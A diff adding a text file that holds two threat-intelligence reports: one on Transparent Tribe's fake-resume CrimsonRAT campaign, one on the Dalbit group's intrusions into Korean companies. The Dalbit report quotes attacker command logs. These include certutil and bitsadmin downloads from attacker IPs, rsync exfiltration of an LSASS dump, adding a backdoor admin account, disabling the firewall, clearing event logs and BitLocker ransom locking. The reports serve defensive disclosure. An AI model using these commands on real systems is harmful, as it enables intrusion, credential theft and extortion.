diff --git "a/2023.clean.txt" "b/2023.clean.txt" new file mode 100644--- /dev/null +++ "b/2023.clean.txt" @@ -0,0 +1,31886 @@ +Analysis of APT-C-56 (Transparent Tribe) camouflage +resume attack campaign +mp.weixin.qq.com/s/xU7b3m-L2OlAi2bU7nBj0A +Included in the collection +#APT 87 piece + 26 piece +#APT-C-56 Transparent Tribe 7 piece +APT-C-56 +Transparent Tribe +APT-C-56 (Transparent Tribe), also known as Transparent Tribe, APT36, ProjectM, C-Major, +is an APT organization with a South Asian background, which has long targeted attacks on +the politics and military of neighboring countries and regions (especially India), and has +developed its own exclusive Trojan horse CrimsonRAT, and has also been found to widely +spread USB worms. +It has been targeting India's government, public sector, and various industries including but +not limited to healthcare, power, finance, manufacturing, etc. to maintain a high level of +information theft activities. +Earlier this year, Transparent Tribe and SideCopy were found to be using the same +infrastructure and using the same themes to target similar targets, using smuggling +intelligence-related decoys to camouflage Indian Defense Ministry emails to launch frequent +attacks against India. We also found an attack campaign targeting the foreign trade industry +using backlinks. +Recently, the 360 Advanced Threat Institute detected a sample of suspected Transparent +Tribe's attack activity. We speculate that the previous operation went undetected, and the +sample used the bait documentation to eventually release its exclusive Trojan, CrimsonRAT. +1. Analysis of attack activities +1. Attack process analysis +Attack campaigns using decoy documents that disguise resumes. Through the release of +CrimsonRAT through Dropper, continuous monitoring of users in the middle of the +recruitment. +2. Load delivery analysis +1/14 +2.1 Disguising Documents +The sample name we captured is Sonam kaur_2, the +document name is similar to the sample, the file name +below is Sonam Singh's document, which also uses the +name of the person as the document name, and Sonam +Singh's document is a personal work resume. +Unlike the same attack we speculate is that the malicious +document we capture only contains macro code inside +the open window, and once the user inadvertently clicks +to start the macro function, the hidden malicious macro +code runs automatically. +We also found an account with the same name on Twitter, and in the profile we can see that +the status location is in Mumbai and is a wealth consulting firm. The Tweet update is as of +July 2021, and while this is consistent with our presumed timing of the action, it is not +possible to tell if this tweet is related to the documentation. +2/14 +The macro code disguises itself as an Mdiaz-related program in the ALLUSERSPROFILE +directory, reads hidden data from the specified structure of the malicious document and +writes it to a file, which shows that APT-C-56 (transparent tribe) uses simple string +concatenation technology to disassemble exe characters to avoid static killing by antivirus +engines. +3/14 +Launch the malicious PE program that is released, while further reading the normal text +document data hidden inside, release it to the worddcs.docx, and finally open this document +to disguise and confuse the user. +4/14 +2.2 Dropper +The released PE file is a .Net Dropper program. First, determine whether a zip file exists, +read the resource section and write the data to the file if it does not exist, delete it and write it +again. +5/14 +Determine whether there is a file with the suffix .ford in the directory, and if so, create a +startup file directly. If no suffix is specified, the file goes directly to the subsequent release +process. +6/14 +Then determine whether there is a backdoor RAT stored in the resource, and if not, +download and run it from the C&C through the network connection. +3. Attack component analysis +The RAT backdoor released after download disguises itself as the FireFox browser and is the +CrimsonRAT that the Transparent Tribe has been maintaining and using. +7/14 +The control codes and commands are as follows: +directives +Control code +Enumerate processes +gey7tavs +8/14 +Upload a GIF +thy7umb +Enumerate processes +pry7ocl +Set up auto-start +puy7tsrt +Download the file +doy7wf +Set up screenshots +scy7rsz +Gets the file properties +fiy7lsz +See screenshots +cdy7crgn +csy7crgn +csy7dcrgn +Stop taking screenshots +sty7ops +Desktop screenshot +scyr7en +Gets disk information +diy7rs +Parameter initialization +cny7ls +Delete the file +dey7lt +Get file information +afy7ile +Delete a user +udy7lt +Search for files +liy7stf +Get user information +iny7fo +9/14 +Execute the file +ruy7nf +Move files +fiy7le +2. Attribution research and judgment +Based on the similarity of the macro code and CrimsonRAT judging that this is an APT-C-5 6 +(Transparent Tribe) attack activity, the sample found this time has many similarities to our +previous APT-C-56 (Transparent Tribe) attack analysis report. +1. Analysis related to previous attacks +1.1 Macro code is similar +The following figure shows the analysis from the previous disclosure action: +The following figure shows the analysis of this attack: +10/14 +1.2 Dropper is similar +The following figure shows the analysis from the previous disclosure action: +11/14 +The following figure shows the analysis of this attack: +2. Difference analysis from previous actions +The last campaign released RATs directly from resources. +12/14 +The samples found this time were downloaded via a network connection for subsequent +RATs. +summary +The India-Pakistan conflict has always existed because of border, cultural, ethnic, historical +and other reasons, and the military and political espionage caused by geopolitical conflicts +has always been the main theme of the region. Pakistan's sidecopy group has been imitating +13/14 +the Sidewinder attack, and the Indian group will also imitate the transparent tribe's attack. +Chaotic situations often represent a contest of economic, military, and cybersecurity +capabilities between countries, and it is increasingly important to seize intelligence +opportunities through cyberattacks and maintain national security. +Appendix IOC +fdb9fe902ef9e9cb893c688c737e4cc7 +ccc33eff063e44fad0fc3e6057b1bcd9 +0f9f34e3e872e57446ffdcfa90a7b954 +35e481dec398f206d0be12bc98ccc17a +33ea133da15dc060b7709558c97209d2 +860da5abde63a42b3fbd8202d0cff6d2 +8e642dd589e53347555a7b2596512ed7 +23.254.119.234 +6178 +360 Advanced Threat Institute +360 Advanced Threat Institute is the core capability support department of 360 Digital +Security Group, composed of 360 senior security experts, focusing on the discovery, defense, +disposal and research of advanced threats, and has taken the lead in capturing many wellknown 0-day attacks in the world, such as double killing, double star, nightmare formula, +etc., exclusively disclosing the advanced actions of many national APT organizations, winning +wide recognition inside and outside the industry, and providing strong support for 360 to +ensure national network security. +14/14 +Dalbit (m00nlight): Chinese Hacker Group +s APT Attack Campaign +asec.ahnlab.com/en/47455 +By kingkimgim +February 13, 2023 +0. Overview +This report is a continuation of the +Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies + post that was uploaded on August +16, 2022 and follows the group +s activities since that post. +This group has always relied on open-source tools and lacked any distinct characteristics to profile them due to the lack of PDB information. +Additionally, the amount of information that could be collected was limited unless the affected Korean companies specifically asked for an +investigation since the threat actor +s C2 (Command&Control) server abused the servers of the Korean companies. However, after the post was +uploaded and a portion of the Korean company servers used by the threat actor were blocked, the threat actor began to use a hosting server +called +*.m00nlight.top + as their C2 and download server. Thus, the ASEC team decided to call this group Dalbit (m00nlight.top) after the +Korean word for +Moonlight +This group has had more than 50 confirmed attack attempts on Korean companies since 2022. Most of the attacked companies were mid to +small companies while a portion was major companies. The team has confirmed that 30% of the infected companies were using a certain +Korean groupware solution. It is currently difficult to check whether this groupware product has a vulnerability or not, but if a server that is +this exposed has a vulnerability, then there is a chance that companies could be affected gravely through the leakage of confidential +information and ransomware behavior. Furthermore, this Dalbit group leaves some infected companies as proxies and download servers to +later use them as means to communicate with the threat actor upon infiltration of another company. +Therefore, we strongly recommend performing an internal security check if users suspect that they have been attacked by this Dalbit group. +The team asks that users send a report to AhnLab and take preemptive measures to prevent secondary harm and potential damage to other +companies. +1. Affected Korean Companies (Industry Type) +Listed below are the 50 companies that were confirmed to have been affected since 2022. Companies that have not been clearly confirmed were +excluded from this list. It is possible that more companies could have been affected. +Figure 1. Industry types of companies that the Dalbit group tried to attack +The following are the descriptions of each industry type. +Technology: Companies that handle software or hardware +Industrial: Manufacturing companies that handle machinery, paint jobs, steel, metals, etc. +Chemical: Cosmetic, pharmaceutical, and plastic companies +Construction: Associations or organizations related to construction or construction companies +Automobile: Automobile-related manufacturing companies +Semiconductor: Semiconductor-related manufacturing companies +1/17 +Education: Educational companies +Wholesale: Wholesalers +Media: Printing and media companies +Food: Food companies +Shipping: Shipping companies +Hospitality: Leisure or tourist accommodation companies +Energy: Energy companies +Shipbuilding: Shipbuilding companies +Consulting: Management consulting companies +2. Flow and Characteristics +2.1. Summary Diagram +Figure 2. Summary diagram of Dalbit group +s infiltration process +The above diagram shows the threat actor +s infiltration process into Company B. A brief summary of this flow is in the table below. +1) Initial Access +The threat actor targets web servers or SQL servers, which they gain access to by exploiting vulnerabilities. They then +attempt to control the systems with tools such as WebShell. +2) Command & Control +Various hacking tools are downloaded through WebShell. Hacking tools include various binaries such as privilege escalation +tools, proxy tools, and network scanning tools. +3) Proxy & Internal Reconnaissance +Proxy: The threat actor installs a proxy tool such as FRP (Fast Reverse Proxy) before attempting to connect to 2-1) a hosting +server built by the threat actor or 2-2) another previously infected company +s server (Company A) via Remote Desktop (RDP). +Internal Reconnaissance: Tools such as network scanning tools and account theft tools are used for internal reconnaissance +and obtaining information. +4) Lateral Movement +The obtained information is used to move to another connectible server or PC. Afterward, a proxy tool (FRP) is also installed +on the PC that has successfully been reached through lateral movement, creating an environment which allows the threat +actor to connect via RDP. The required privilege level is then acquired by either adding a specific account or through a +credential theft tool like Mimikatz. +5) Impact +Ultimately, after the threat actor steals all the information they desire, they use BitLocker to lock certain drives and demand a +ransom. +Table 1. Explanation of the infiltration summary diagram +The following are major characteristics of the Dalbit group. +2.2. Characteristics of Dalbit +2/17 +List +Description +Threat Actor +s C2 Servers +Download and C2 (Command&Control) servers: Korean company or hosting servers +Over half of these servers are exploited Korean company servers +*.m00nlight.top or IP format addresses are often used for the hosting servers +Attempts Control Through RDP +Usually attempts to access RDP after infection +Either a proxy tool or Gotohttp is used for RDP connection +Proxy Tools +Major proxy tools used include FRP, LCX (Htran), +NPS, ReGeorg , etc. +Add User Account +A net command is used to add an account +Account credentials (ID: +main + / PW: +ff0.123456 +Open-source Tool +Mostly uses open-source tools that are publicly available +A lot of tools are written in Chinese +Evasion +VMProtect is used to prevent hacking tools from being detected +Security event logs are deleted +Extorted Information +User account credentials +Email information +Screen leak +Installed program information +Table 2. Characteristics of Dalbit +3. Tools Used and Infiltration Process +3.1. Tools and Malware Used +WebShell +Downloader +Godzilla +ASPXSpy +AntSword +China Chopper +Certutil (Windows CMD) +Bitsadmin (Windows CMD) +Privilege Escalation +BadPotato +JuicyPotato +SweetPotato +RottenPotato +EFSPotato +Proxy +Internal Reconnaissance +ReGeorg +FScan +NbtScan +TCPScan +Goon +Nltest (Windows CMD) +CVE-2018-8639 +CVE-2019-1458 +Lateral Movement +Information Leak and Collection +Backdoor +File Encryption +Evasion +PsExec +RemCom +Winexec +Wevtutil (Windows CMD) +WMI (Windows CMD) +ProcDump +Dumpert +EML Extractor (created) +Mimikatz +Rsync +CobaltStrike +MetaSploit +BlueShell +Ladon +BitLocker +(Windows CMD) +Security log deletion (Windows CMD) +Firewall OFF (Windows CMD) +Attempts to delete AV products +VMProtect Packing +Table 3. Malware and hacking tools used by Dalbit +Only one tool for leaking emails seems to have been made by the group themselves. The rest are normal Windows programs or tools that can +easily be found online. +3.2. Infiltration Process +3.2.1. Initial Infiltration +It is assumed that their attack targets are usually servers with a specific Korean groupware installed on them, email servers (Exchange Server), +and SQL servers. The threat actor exploited either file upload vulnerabilities or WebLogic vulnerabilities such as CVE-2017-10271 to upload +their WebShell. A portion appeared to have used a SQL server command prompt (xp_cmdshell). +The most frequently used WebShells are Godzilla, ASPXSpy, AntSword, and China Chopper in that order. Aside from these, several other +WebShells were also found. +The installation paths of the WebShells are as follows. +3/17 + Job recruitment (File upload vulnerability) +D:\WEB\********recruit\css\1.ashx +D:\WEB\********recruit\css\4.ashx +D:\WEB\********recruit\common\conf.aspx + File upload vulnerability +D:\UploadData\***********\****_File\Data\Award\1.ashx +D:\UploadData\***********\****_File\Data\Award\2.aspx +D:\UploadData\***********\****_File\Data\Award\3.aspx +D:\**WebService\********\*****Editor\sample\photo_uploader\File\conf.aspx +D:\**WebService\********_ThesisSubmission\Include\file.aspx + Certain groupware +D:\Web\(Groupware)\cop\1.ashx +D:\Web\(Groupware)\app\4.ashx +D:\Web\(Groupware)\bbs\4.asmx +D:\Web\(Groupware)\erp\tunnel.aspx (ReGeorg) +D:\inetpub\(Groupware)\image\2.asmx +D:\inetpub\(Groupware)\image\2.aspx +C:\(Groupware)\Web\(Groupware)\cop\conf.aspx +C:\(Groupware)\Web\(Groupware)\cop\1.ashx +C:\(Groupware)\Web\(Groupware)\cop\1.asmx +C:\(Groupware)\Web\(Groupware)\cop\1.aspx + Email server (Exchange Server) +D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx +D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\11.aspx +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET +Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_ldaj2kwn.dll + WeblogicD:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp +D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\eee.jsp +D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\error.jsp +D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp +D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\test.jsp +D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\aaa.jsp +Tomcat +C:\(Tomcat)\webapps\dd\sb.jsp +C:\(Tomcat)\webapps\ddd\index.jsp +C:\(Tomcat)\webapps\docs\update.jsp +C:\(Tomcat)\webapps\tmp\shell.jsp +Table 4. Paths where WebShells were uploaded +3.2.2. Download +The threat actor downloads other hacking tools through default Windows programs. Since WebShells are normally used in infiltration, parent +processes, excluding command processes like cmd, are run by web server processes such as w3wp.exe, java.exe, sqlserver.exe, and +tomcat*.exe. The downloaded files include privilege escalation tools, proxy tools, and network scanning tools, all of which are required by the +threat actor. The download command is as follows. +(Additionally, the full addresses of the Korean companies that have been exploited will not be disclosed.) +1) Certutil +> certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) +> certutil -urlcache -split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini) +> certutil -urlcache -split -f hxxp://103.118.42[.]208:8080/frpc.exe frpc.exe +Table 5. Certutil download log +2) Bitsadmin +> bitsadmin /transfer mydownloadjob /download /priority normal +hxxp://91.217.139[.]117:8080/calc32.exe +c:\windows\debug\winh32.exe + (frpc) +> bitsadmin /transfer mydownloadjob /download /priority normal +hxxp://91.217.139[.]117:8001/log.ini +c:\windows\debug\log.ini + (frpc.ini) +Table 6. Bitsadmin download log +4/17 +The hacking tools and malware downloaded by the threat actor were usually found in the following paths. +%ALLUSERSPROFILE% +%SystemDrive%\temp +%SystemDrive%\perflogs +%SystemDrive%\nia +%SystemDrive%\.tmp +%SystemRoot% +%SystemRoot%\debug +%SystemRoot%\temp +Table 7. Major directories used by the Dalbit group +Therefore, the files in these paths should be checked if users suspect that they have been infiltrated. +3.2.3. Privilege Escalation and Account Addition +The threat actor mainly used Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) and PoC (CVE-2018-8639, CVE-20191458), which has been published on GitHub, for privilege escalation. After privilege escalation, they characteristically add the following +account. +The below sp.exe is the SweetPotato tool. +> sp.exe +whaomi + (Privilege check) +> sp.exe +netsh advfirewall set allprofiles state off + (Firewall OFF) +> sp.exe +net user main ff0.123456 /add & net localgroup administrators main /add + (Add account) +Table 8. SweetPotato usage log +The point of focus here is the name of the account added by the threat actor. Threat actor accounts with the name +main + have been found in +other infiltrated company servers. +Aside from adding accounts, the threat actor would also use stolen admin accounts. +> wmic /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$ process call create +cmd.exe /c c:\temp\s.bat +Table 9. Admin account execution log +3.2.4. Proxy Settings +After infiltrating a server, the threat actor initiates access via proxy to use RDP communications. FRP and LCX were the mainly used proxy +tools, and there have been cases where ReGeorg, NPS, or RSOCKS was found in some companies. Additionally, multiple proxy tools including +FRP and LCX were found in one area of a certain company that was infiltrated. Multiple FRP configuration files (.ini) would also be discovered +in cases where internal propagation had occurred. We believe that the threat actor installs additional FRPs and uses multiple configuration +files when an accessible PC has a lot to gain. Furthermore, the LCX used by this group has the same features as the open-source LCX, but its +version is not the same as the one uploaded to GitHub, meaning that a binary that was arbitrarily compiled by a Chinese person was used. +Proxy tools like FRP and LCX differ in terms of forwarding methods and supported protocols. However, since their differences, actual infection +cases, recreation, and network packets have all been covered in the TI report, +Analysis Report on Attack Cases Exploiting Various Remote +Control Tools, + they will not be reiterated in this post. +1) FRP(FAST REVERSE PROXY) +FRP configuration files (.ini) were found in all servers and PC devices infiltrated by this group. The following is an actual case of an infiltrated +company. +Figure 3. FRPC configuration file (m00nlight.top) found in an infiltrated company +In particular, the Dalbit group usually used the Socks5 protocol to communicate. The Socks5 protocol is a layer 5 protocol in the 7 OSI layers. It +can handle various requests such as HTTP, FTP, and RDP since it is between layer 4 and 7. Therefore, if the threat actor uses a proxy +connection tool that can handle Socks5, such as Proxifier, remote control through RDP becomes possible. If a connection can be established to +an internal PC, lateral movement can also be achieved. Thus, if the configuration file is set as a Socks5 protocol, the threat actor will have more +freedom as additional modifications will no longer be required to handle various requests. +5/17 +Figure 4. Example of Socks5 usage +The following are FRP filenames and commands used by the threat actor. The list is in a descending order from most to least used. +FRP filenames +update.exe +debug.exe +main.exe +info.exe +Agent.exe +frpc.exe +test.exe +zabbix.exe +winh32.exe +cmd.exe +Table 10. FRP filenames +FRP commands +> update.exe -c frpc.ini +> update.exe -c 8080.ini +> update.exe -c 8.ini +> info.zip -c frpc__8083.ini +> debug.exe -c debug.ini +> debug.exe -c debug.log +> debug.exe -c debug.txt +> frpc.exe -c frpc__2381.ini +> cmd.exe /c c:\temp\****\temp\frpc.ini +Table 11. FRP execution log +In certain companies, the FRP was registered to the task scheduler (schtasks) under the name +debug + to maintain its persistence. As shown in +Table 12, the team confirmed the execution of a registered scheduler. +6/17 +> schtasks /tn debug /run +Table 12. Task scheduler execution log +2) LCX(HTRAN) +Dalbit used an LCX (Htran) binary compiled by a certain Chinese person. This has the same features as the existing binary, but it also includes +the nickname of the binary creator. +Figure 5. Screen that is displayed upon executing the LCX used by the Dalbit group (By +We can confirm through this that the nickname of the person who had created the binary is + (QQ:56345566). It is highly unlikely +that this developer is the threat actor in question; however, since this binary cannot be downloaded through a simple search online, it is +assumed that the threat actor has a connection to China. +The installed filenames and executables are as follows: +LCX filenames +lcx3.exe +lcx.exe +update.exe +Table 13. LCX filenames +LCX commands +> update.exe -slave 1.246.***.*** 110 127.0.0.1 3389 +> lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389 +Table 14. LCX command log +The above LCX C2 is a Korean company server and has been concealed. +3.2.5. Internal Reconnaissance +Fscan and NBTScan have been commonly used for network scans, but the usage of TCP Scan and Goon have also been confirmed for some +cases. +Goon is a network scanning tool made with Golang that not only allows basic port scanning, but scanning for Tomcat, MSSQL, and MYSQL +accounts as well. We can see that this tool was also made in Chinese. +7/17 +Figure 6. Screen that is displayed upon executing Goon +3.2.6. Information Extortion +LSASS Dump information and EML files of certain accounts are usually the information that is stolen. It has been confirmed that installed +programs are checked through a WMIC command or a screenshot of the affected PC is sent to the threat actor +s server at regular intervals +according to the companies. +1) Credential Extraction (LSASS Dump) +According to the target, the threat actor would choose to not install Mimikatz and attempt to extract credentials instead. This is a method that +dumps the Lsass.exe process. Credential information can be obtained from a PC with tools like Mimikatz or Pypykatz since they can be found +within the dump file. Additionally, a detailed explanation of Mimikatz can be found in the TI report, +Analysis Report on Internal Web +Spreading Methods Using Mimikatz +The following method is how the threat actor stole credentials without Mimikatz. +1-1) Dumpert +Open-source Dumpert is an API hooking evasion tool that operates according to the target OS system and uses the MiniDumpWriteDump() +API to dump the lsass.exe process. The threat actor modified the code to change the path of the dump file and remove features like log output. +Figure 7. Left (open-source Dumpert) vs. right (Dumper used by the Dalbit group) +8/17 +The above figure shows that the two versions are the same aside from the different paths and the removal of the output string. +The following table displays all of the +%SystemRoot%\temp + dump file paths that have currently been found. +%SystemRoot%\temp\duhgghmpert.dmp +%SystemRoot%\temp\dumpert.dmp +%SystemRoot%\temp\tarko.dmp +%SystemRoot%\temp\lsa.txt +Table 15. Lsass dump file paths +1-2 ) Procdump +Procdump is a normal utility program provided by Microsoft and offers the process dump feature. The threat actor performed a dump like the +one in Figure 8 with this tool. +Figure 8. Output upon executing Procdump +Afterward, the threat actor used a tool called Rsync (Remote Sync) to send the dump file to their own server. The following is an actual example +of information theft attempted by the threat actor. +> svchost.exe -accepteula -ma lsass.exe web_log.dmp +> rsync -avz +port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip +Table 16. Procdump execution and rsync usage log +2) Email Extraction +Figure 9. Screen displayed upon executing email extraction tool +This sample is an email extraction tool developed with Golang and presumably the only known tool developed by the threat actor themselves. +This tool offers the ability to target a company +s Exchange email server and extract a specific account +s email with EWS (Exchange Web +Service) as an EML file. Arguments include the Exchange server address, account name, NTLM password hash of said account, date and time, +etc. When launched, the tool extracts every email from the mailboxes of the target account according to the time received as an argument and +saves them as an EML file. +For reference, the PDB information of this binary is +fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +and is meaningless. +9/17 +Figure 10. PDF information of the email extraction tool +3) Screen Leak +The threat actor sent screenshots from certain PCs to their own server. While a binary that takes screenshots of the current screen has not been +found as of yet, the threat actor +s server where the infected PC +s screenshots were being sent has been discovered. Screenshots from a certain +company +s infiltrated PC sent pictures every 5-10 seconds. +Outgoing server of threat actor +s screenshots: hxxp://91.217.139[.]117:8080/1.bat +10/17 +Figure 11. Actual PC screenshot sent from a certain affected company +Only images were sent. The PC could not be controlled remotely and no audio was outputted either. +Also, the threat actor +s server (91.217.139[.]117) where the screenshots were being sent was also being used as a download server for another +company. +>certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe +>certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin /transfer mydownloadjob /download +/priority normal +hxxp://91.217.139[.]117:8080/calc32.exe +c:\windows\debug\winh32.exe + (frpc) +>bitsadmin /transfer mydownloadjob /download /priority normal +hxxp://91.217.139[.]117:8001/log.ini +c:\windows\debug\log.ini + (frpc.ini) +Table 17. A different log from the threat actor +s server (91.217.139[.]117) +4) Lookup Installed Programs and Login Information +The threat actor used a WMIC command to check installed programs. +> wmic product get name,version +Table 18. How the threat actor looked up installed programs +11/17 +Figure 12. List of installed programs and command example (WMIC) +Furthermore, the domain account credentials that caused certain event IDs to occur in the event log were collected. The created file is saved in +c:\temp\EvtLogon.dat. +Event ID +Meaning +4624 +Login successful +4768 +Kerberos authentication request +4776 +NTLM authentication attempt +Table 19. Meanings of the event IDs used by the threat actor +> wevtutil qe security /q: +Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]] + /f:text /rd:true >> +c:\temp\EvtLogon.dat +Table 20. wevtutil command log +3.2.7. File Encryption +Details about this matter have been covered in a past blog post. The threat actor used BitLocker, a Windows utility, to encrypt certain drives +and demand ransoms. Currently, more affected companies are still being found. +BitLocker commands +C:\Windows\System32\BitLockerWizardElev.exe + F:\ T +> manage-bde -lock -ForceDismount F: +> manage-bde -lock -ForceDismount e: +c:\windows\system32\bitlockerwizardelev.exe + e:\ t +c:\windows\system32\bitlockerwizardelev.exe + f:\ u +Table 21. BitLocker log +Figure 13 is the ransom note used by the threat actor. The threat actor used anonymous mailing services such as startmail.com and +onionmail.com. +Figure 13. Ransom note that was shown in a previous blog post +The command assumed to be for downloading the ransom note is as follows. +> certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme +Table 22. Log assumed to display the ransom note being downloaded +3.2.8. Evasion +1) VMPROTECT PACKING +When the binary was detected after being uploaded, the threat actor packed it with VMProtect to try and avoid detection. +12/17 + Privilege escalation tools +%ALLUSERSPROFILE%\badpotatonet4.exe +%ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe +%ALLUSERSPROFILE%\SweetPotato.exe +%ALLUSERSPROFILE%\SweetPotato.vmp.exe +%ALLUSERSPROFILE%\jc.vmp.exe +%SystemDrive%\nia\juicypotato.vmp1.exe +%SystemDrive%\nia\juicypotato.vmp.exe + Proxy tools +E:\WEB\*****\data\frpc.vmp.exe +%ALLUSERSPROFILE%\lcx.exe +%ALLUSERSPROFILE%\lcx_VP.exe +%SystemDrive%\Temp\lcx.exe +%SystemDrive%\Temp\lcx_VP.exe +%SystemDrive%\Temp\svchost.exe (FRP) +%SystemDrive%\Temp\frpc.vmp.exe +Table 23. File packed with VMP +2) Windows Event Log Deletion Using Wevtutil +Removal of security event logs +> cmd.exe /c wevtutil cl security +Removal of application logs +> cmd.exe wevtutil.exe el +> cmd.exe wevtutil.exe cl +application +Table 24. Deletion of Windows event logs +3) Firewall OFF +sp.exe +netsh advfirewall set allprofiles state off +Table 25. Firewall OFF +4. Conclusion +The Dalbit hacking group attempted attacks against vulnerable Korean company servers, and logs are being reported not only from mid-sized +and smaller businesses, but also from some large companies. In particular, 30% of the affected companies were found to have been using a +certain Korean groupware product. Moreover, this group uses publicly available tools, from the WebShell used in the early stages to the +ransomware used at the end. Among these tools, there is a proxy tool that is assumed to have been obtained from a Chinese community, a tool +with Chinese documentation, and a Chinese tool not mentioned in this post. It can be assumed that the threat actor has at least a partial +connection with China, considering their frequent usage of Chinese tools. +If a server admin suspects that their system has been infected, they are advised to check their IOC along with the aforementioned download +paths and account name ( +main +) often used by the threat actor. If suspicions are confirmed, then it is advised to immediately report your +situation to AhnLab in order to minimize additional harm. Furthermore, admins should prevent vulnerability attacks by updating their servers +to the newest version for vulnerability patches, and maintenance is especially needed for servers that are open externally but not managed. +5. IOC +For reference, the IP addresses of Korean company servers abused by the threat actor will not be disclosed on the ASEC blog. +Mitre Attack +Execution +Persistence +Privilege +Escalation +Credential +Access +Discovery +Defense +Evasion +Lateral +Movement + Command and +Scripting +Interpreter(T1059) + Windows +Management +Instrumentation(T1047) + System +Service(T1569) + Scheduled +Task/Job(T1053) + Create +Account(T1136) + Server Software +Component(T1505) + Account +Manipulation(T1098) + Access Token +Manipulation(T1134) + Exploitation for +Privilege +Escalation(T1068) +Credential +Dumping +(T1003) + Remote +System +Discovery(T1018) + Network +Service +Discovery(T1046) + Impair +Defenses(T1562) + Indicator +Removal(T1070) + Remote +Services(T1021) + Lateral Tool +Transfer(T1570) +Table 26. MITRE Attack +13/17 +Detection Names +WebShell/Script.Generic (2020.12.11.09) +WebShell/ASP.ASpy.S1361 (2021.02.02.03) +WebShell/ASP.Generic.S1855 (2022.06.22.03) +WebShell/ASP.Small.S1378 (2021.02.24.02) +WebShell/JSP.Godzilla.S1719(2021.12.03.00) +WebShell/JSP.Chopper.SC183868(2022.10.15.01) +WebShell/JSP.Generic.S1363 (2021.01.27.03) +Backdoor/Script.Backdoor (2015.01.04.00) +WebShell/JSP.Generic.S1956 (2022.11.14.00) +Trojan/Script.Frpc (2022.12.17.00) +JS/Webshell (2011.08.08.03) +HackTool/Win.Fscan.C5334550(2023.01.27.00) +HackTool/Win.Fscan.C5230904(2022.10.08.00) +HackTool/Win.Fscan.R5229026(2022.10.07.03) +Trojan/JS.Agent(2022.03.16.02) +Unwanted/Win32.TCPScan.R33304(2012.08.17.00) +HackTool/Win.Scanner.C5220929(2022.08.09.02) +HackTool/Win.SweetPotato.R506105 (2022.08.04.01) +Exploit/Win.BadPotato.R508814 (2022.08.04.01) +HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) +HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) +Exploit/Win.JuicyPotato.C425839(2022.08.04.01) +Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) +Trojan/Win.Escalation.R524707(2022.10.04.02) +Trojan/Win.Generic.R457163(2021.12.09.01) +HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06) +Malware/Win64.Generic.C3164061 (2019.04.20.01) +Malware/Win64.Generic.C3628819 (2019.12.11.01) +Exploit/Win.Agent.C4448815 (2021.05.03.03) +Trojan/Win.Generic.C4963786 (2022.02.11.04) +Trojan/Win.Exploit.C4997833 (2022.03.08.01) +Exploit/Win.Agent.C5224192 (2022.08.17.00) +Exploit/Win.Agent.C5224193 (2022.08.17.00) +Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01) +Trojan/Win32.Mimikatz.R262842(2019.04.06.00) +Trojan/Win.Swrort.R450012(2021.11.14.01) +HackTool/Win.Lsassdump.R524859(2022.10.05.00) +HackTool/Win.ProxyVenom.C5280699(2022.10.15.01) +Unwanted/Win.Frpc.C5222534 (2022.08.13.01) +Unwanted/Win.Frpc.C5218508 (2022.08.03.03) +Unwanted/Win.Frpc.C5218510 (2022.08.03.03) +Unwanted/Win.Frpc.C5218513 (2022.08.03.03) +HackTool/Win.Frpc.5222544 (2022.08.13.01) +HackTool/Win.Frp.C4959080 (2022.02.08.02) +HackTool/Win.Frp.C5224195 (2022.08.17.00) +Unwanted/Win.Frpc.C5162558 (2022.07.26.03) +Malware/Win.Generic.C5173495 (2022.06.18.00) +HackTool/Win.LCX.C5192157 (2022.07.04.02) +HackTool/Win.LCX.R432995(2023.01.06.01) +HackTool/Win.Rsocx.C5280341(2022.10.15.00) +Backdoor/Win.BlueShell.C5272202(2022.10.05.00) +Trojan/Win.BlueShell.C5280704(2022.10.15.01) +Backdoor/Win.CobaltStrike.R360995(2022.09.20.00) +Unwanted/Win.Extractor.C5266516(2022.10.01.00) +Trojan/Win.RemCom.R237878(2023.01.07.00) +[IOC] +MD5 (Excluding normal files) +14/17 + WebShell +0359a857a22c8e93bc43caea07d07e23 +85a6e4448f4e5be1aa135861a2c35d35 +4fc81fd5ac488b677a4c0ce5c272ffe3 +c0452b18695644134a1e38af0e974172 +6b4c7ea91d5696369dd0a848586f0b28 +96b23ff19a945fad77dd4dd6d166faaa +88bef25e4958d0a198a2cc0d921e4384 +c908340bf152b96dc0f270eb6d39437f +2c3de1cefe5cd2a5315a9c9970277bd7 +e5b626c4b172065005d04205b026e446 